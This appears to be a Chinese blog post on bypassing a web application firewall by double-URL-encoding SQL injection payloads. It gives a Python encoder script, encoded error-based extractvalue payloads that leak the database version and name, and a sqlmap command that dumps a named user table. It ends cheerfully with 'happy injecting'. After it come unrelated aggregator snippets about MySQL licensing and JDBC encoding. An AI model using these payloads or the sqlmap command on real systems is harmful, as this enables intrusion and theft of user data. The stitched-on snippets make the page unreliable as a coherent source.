例子:post 的資料:
keyword=a
如果單純的在搜尋框中輸入:select , union,detele,' 那麼就會被waf阻攔頁面會顯示:非法字元
如果用雙重編碼的url替換注入語句那麼,waf就不會攔截
下面我寫了乙個程式來講普通的注入語句轉換為雙重url編碼:
import string
payload="' and extractvalue(1, concat(0x5c,version())) #"
retval = payload
if payload:
retval = ""
i = 0
while i < len(payload):
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retval += '%%25%s' % payload[i + 1:i + 3]
i += 3
else:
retval += '%%25%.2x' % ord(payload[i])
i += 1
print retval
那麼我們用的一切注入語句都可以這樣表示:
比如:' and extractvalue(1, concat(0x5c,version()
)) #
轉換之後為:
%2527%2520%2561%256e%2564%2520%2565%2578%2574%2572%2561%2563%2574%2576%2561%256c%2575%2565%2528%2531%252c%2520%2563%256f%256e%2563%2561%2574%2528%2530%2578%2535%2563%252c%2576%2565%2572%2573%2569%256f%256e%2528%2529%2529%2529%2520%2523
然後丟到搜尋框裡面,然後通過報錯資訊得到資料庫版本號
在比如:
' and extractvalue(1, concat(0x5c,(select database()))) #轉換之後為
%2527%2520%2561%256e%2564%2520%2565%2578%2574%2572%2561%2563%2574%2576%2561%256c%2575%2565%2528%2531%252c%2520%2563%256f%256e%2563%2561%2574%2528%2530%2578%2535%2563%252c%2528%2573%2565%256c%2565%2563%2574%2520%2564%2561%2574%2561%2562%2561%2573%2565%2528%2529%2529%2529%2529%2520%2523
就能拿到資料庫的名字
愉快的注入吧
sqlmap 指令:sqlmap -u "" --data "keyword=1" --tamper chardoubleencode -d "gzidc" -t "shl_user" --dump -v 3
mysql利用雙重url編碼繞過防火牆
例子 post 的資料 keyword a 如果單純的在搜尋框中輸入 select union,detele,那麼就會被waf阻攔頁面會顯示 非法字元 如果用雙重編碼的url替換注入語句那麼,waf就不會攔截 下面我寫了乙個程式來講普通的注入語句轉換為雙重url編碼 import string pa...
mysql雙重許可 mysql的雙重許可
今天在cu逛了逛,看到乙個有意思的帖子 也就是mysql的雙重許可問題。以前我一直以為mysql是基於gpl發布的,只是象redhat那樣賣服務,不過從這個帖子看似乎不是那麼回事 關鍵是,如果你的程式是商業應用,那麼要麼選擇把你的程式也遵循gpl發布,要麼就要向mysql購買商業許可。其中有這麼一段...
JDBC連線MySQL的URL編碼問題
因為在本地測試用本地的資料庫都沒事情,插資料度資料都一點問題都沒問題,就考慮到了應該是jdbc連線的時候的url編碼問題,在修改之前,我們的連線是這樣的 jdbc mysql cdb myqcloud com 11462 sh books 網上搜了一下,說要在連線mysql資料庫的時候一般都會在ur...